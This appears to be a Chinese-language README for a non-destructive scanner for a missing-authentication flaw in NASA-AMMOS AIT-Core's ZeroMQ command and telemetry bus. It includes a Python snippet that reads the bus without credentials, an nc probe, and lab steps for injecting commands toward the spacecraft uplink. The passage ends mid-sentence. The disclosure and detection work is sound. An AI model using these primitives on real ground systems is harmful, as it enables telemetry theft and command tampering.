针对 CVE-2026-105105 的非破坏性扫描器,通过 ZMTP 机制和金丝雀发布检查来检测 NASA-AMMOS AIT-Core 中未经身份验证的 ZeroMQ 命令/遥测总线。
本仓库包含一个针对 CVE-2026-105105 的负责任漏洞扫描器。该漏洞是 NASA-AMMOS AIT-Core(AMMOS Instrument Toolkit)遥测与命令服务器中的一个严重缺失认证缺陷(CWE-306)。
ait-server 将其 ZeroMQ 消息总线绑定到所有网络接口,且没有任何认证和传输安全机制。任何能够访问 TCP 5559 的主机都可以向内部命令主题发布消息,而在出厂默认配置下,该主题会被转发至航天器的命令上行端口。任何能够访问 TCP 5560 的主机都可以读取地面总线上的每一条消息。
该扫描器在不向命令主题发布任何消息的情况下确认暴露情况,因此在扫描期间不会有任何内容被转发至命令上行链路。
ait-core <= 3.1.13863f4c)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H该代理创建了一个 XSUB/XPUB 代理,并在绑定两个套接字时未配置任何 ZeroMQ 安全机制——整个代码树中均无 CURVE、无 ZAP、无 PLAIN、无 TLS:
# ait/core/server/broker.py:54-58
self.frontend = self.context.socket(zmq.XSUB)
self.frontend.bind(self.XSUB_URL) # :55
self.backend = self.context.socket(zmq.XPUB)
self.backend.bind(self.XPUB_URL) # :58
两个 URL 默认都绑定到 所有接口:
# ait/core/__init__.py:47-48 (vulnerable, <= 3.1.1)
SERVER_DEFAULT_XSUB_URL = "tcp://*:5559" # tcp://* == 0.0.0.0
SERVER_DEFAULT_XPUB_URL = "tcp://*:5560"
随附的 config/config.yaml 不会覆盖 server.xsub / server.xpub,因此默认值
适用于标准部署。同一配置将一条出站流订阅到命令主题,
并在上行 UDP 端口上发出:
# config/config.yaml:164-168
outbound-streams:
- stream:
name: command_stream
output: 3075 # UDP command-uplink port
command_subscriber: True
启动时,broker 会自行确认这一绑定:
WARNING | No output stream was designated as the command subscriber, command_stream was selected as the default.
INFO | Subscribing <PortOutputStream name=command_stream> to topic __commands__
attacker PUB -> tcp://TARGET:5559 XSUB ingress broker.py:55
-> proxy forward broker.py:47
-> XPUB 5560
-> command_stream, subscribed to __commands__
-> PortOutputClient.publish client.py:143
-> UDP :3075 command uplink
默认命令主题是 __commands__(ait/core/__init__.py:38),线格式为
msgpack。无需插件、凭据或用户交互。
这是一个疏忽,而非设计选择: 入站 UDP 遥测监听器被
刻意绑定到回环地址(client.py:33-34),而功能强大得多的 ZeroMQ
命令/遥测总线却被留在了 tcp://* 上。
四项检查,按证明力递增排列,均不触及命令主题:
| # | 检查 | 证明内容 |
|---|---|---|
| 1 | TCP 连接到 5559 / 5560 | 总线绑定到非回环接口且可远程访问 |
| 2 | ZMTP 问候检查 | 套接字协商使用 NULL 机制,即无身份验证 |
| 3 | 在 5560 上 SUB 全订阅 | 未经身份验证读取实时地面总线(遥测数据窃取) |
| 4 | 在 5559 上发布金丝雀 | 未经身份验证的写入总线访问 |
检查 2 是决定性的非侵入式测试。ZMTP 3.x 问候为 64 字节,并在第 12-31 字节中
声明对端的安全机制。NULL 表示套接字不验证任何身份;CURVE
表示需要 CurveZMQ 密钥。读取该字段仅需一次 TCP 连接,且不发送任何
应用数据。
检查 4 发布一个随机、一次性金丝雀主题(__ait_scan_canary_<random>__),并从
出口读回。随机主题不匹配任何已配置的流订阅,因此代理
将其转发给扫描器自己的订阅者,而不转发给其他任何人。这证明了注入原语
同时保持 __commands__ 不受影响——已在实验室中通过 UDP 3075 上的监听器验证,该监听器
在整个扫描期间未收到任何内容。
git clone https://github.com/Mothra-1/CVE-2026-105105.git
cd CVE-2026-105105
pip3 install -r requirements.txt # pyzmq, msgpack
python3 scanner.py -t 10.0.0.15
实用标志:
# sample the bus for longer, while the ground system is actively passing telemetry
python3 scanner.py -t 10.0.0.15 --listen 30
# fully passive: skip the canary publish, read-only
python3 scanner.py -t 10.0.0.15 --no-write-test
# non-default broker ports
python3 scanner.py -t 10.0.0.15 --xsub-port 5559 --xpub-port 5560
退出码:2 表示存在漏洞,1 表示已暴露但未确认,0 表示未确认存在未认证访问。
请从远程观察点运行扫描器,而不是在服务器本身上运行。 该发现的核心在于 总线可从网络访问。已修补的 3.1.2 主机仍会刻意绑定到回环地址, 因此在该主机上扫描
127.0.0.1会连接成功并报告 NULL 机制——这属于 预期配置,而非漏洞。请扫描主机的可路由地址。
已针对两个版本进行验证:
ait-core | 扫描来源 | 结果 |
|---|---|---|
| 3.1.1 | 主机的可路由地址 | [ CRITICAL ] VULNERABLE,退出码 2 |
| 3.1.1 | 127.0.0.1 | [ CRITICAL ] VULNERABLE,退出码 2 |
| 3.1.2 | 主机的可路由地址 | [ RESULT ] NOT EXPOSED,退出码 0 |
针对一个原版 ait-core 3.1.1 实例:
+---------------------------------------------------------------+
| CVE-2026-105105 - AIT-Core ZeroMQ Bus Scanner |
| Unauthenticated command/telemetry bus (CWE-306, 9.8) |
| (Responsible Check Only) |
+---------------------------------------------------------------+
[*] Target : 127.0.0.1 (XSUB 5559 / XPUB 5560)
[*] Mode : non-destructive - the command topic is never touched
[1/4] Broker reachability
[+] XSUB ingress tcp/5559 is OPEN and remotely reachable
[+] XPUB egress tcp/5560 is OPEN and remotely reachable
[2/4] ZMTP security mechanism
[+] tcp/5559: ZMTP 3.1, mechanism=NULL -> NO AUTHENTICATION required
[+] tcp/5560: ZMTP 3.1, mechanism=NULL -> NO AUTHENTICATION required
[3/4] Unauthenticated bus read (telemetry exfiltration)
[*] SUB connected to tcp://127.0.0.1:5560, subscribed to ALL topics (no creds)
[*] listening 5s for traffic on the ground bus ...
[+] read 26 message(s) from the ground bus across 1 topic(s):
- __tlmpkts__ 26 msg 546 B first bytes: c41301024c41425f544c4d5f
[4/4] Unauthenticated bus write (canary, command topic untouched)
[*] PUB connected to tcp://127.0.0.1:5559 (no creds)
[*] canary topic: __ait_scan_canary_3844ec465edcd06d__
[+] canary was accepted by XSUB and re-emitted by XPUB
[+] => this host accepts UNAUTHENTICATED PUBLISHES onto the ground bus
[*] the same primitive on topic '__commands__' reaches the command-uplink stream - deliberately NOT performed
===============================================================
[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-105105
===============================================================
打过补丁的 3.1.2 主机绑定到回环地址,因此这些端口无法从网络访问,扫描器会报告 [ RESULT ] NOT EXPOSED。
在无凭据的情况下读取接地总线:
import zmq
s = zmq.Context().socket(zmq.SUB)
s.connect("tcp://TARGET:5560")
s.setsockopt_string(zmq.SUBSCRIBE, "") # all topics, no credentials
print(s.recv_multipart())
或者直接从网络流量中检查认证机制。ZeroMQ 对等端会以自己的问候消息回应问候消息;机制字段中的 NULL 表示该总线不对任何人进行认证:
python3 -c 'import sys; sys.stdout.buffer.write(b"\xff"+b"\x00"*8+b"\x7f"+b"\x03\x01"+b"NULL".ljust(20,b"\x00")+b"\x00"*32)' \
| timeout 5 nc TARGET 5560 | head -c 32 | tail -c 20 | tr -d '\0'
# NULL <- no authentication (vulnerable)
# CURVE <- CurveZMQ keys required (hardened)
lab/ 针对本地实例复现了完整的攻击链,包括命令注入。该注入脚本在设计上仅限于回环地址——它会向实时的 __commands__ 主题发布消息,因此会拒绝任何非回环目标。实际部署请使用 scanner.py。
# terminal 1 - stand in for the spacecraft command uplink
python3 lab/uplink_listener.py
# terminal 2 - your own vulnerable instance
pip3 install 'ait-core==3.1.1' && ait-server
# terminal 3 - unauthenticated read of the ground bus
python3 lab/eavesdrop.py 127.0.0.1
# terminal 4 - unauthenticated command injection
python3 lab/inject_command.py 127.0.0.1
随后,上行链路监听器会显示注入的字节到达命令路径:
[uplink] >>> RECEIVED 35 bytes from ('127.0.0.1', 52563): b'\xde\xad\xbe\xef UNAUTH_INJECTED_SPACECRAFT_CMD'
在随附的默认配置下,且无需任何形式的凭据,能够通过网络访问该 broker 的攻击者可以: